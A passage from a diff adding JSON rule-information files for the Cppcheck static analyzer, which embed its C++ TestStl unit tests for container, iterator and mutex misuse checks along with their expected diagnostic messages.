ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/redundantCondition.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/redundantCondition.json new file mode 100644 index 0000000..6f735f3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/redundantCondition.json @@ -0,0 +1,22 @@ +{ + "name": "redundantCondition", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 25, + "branches": 8, + "apis": 25, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 4086 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const 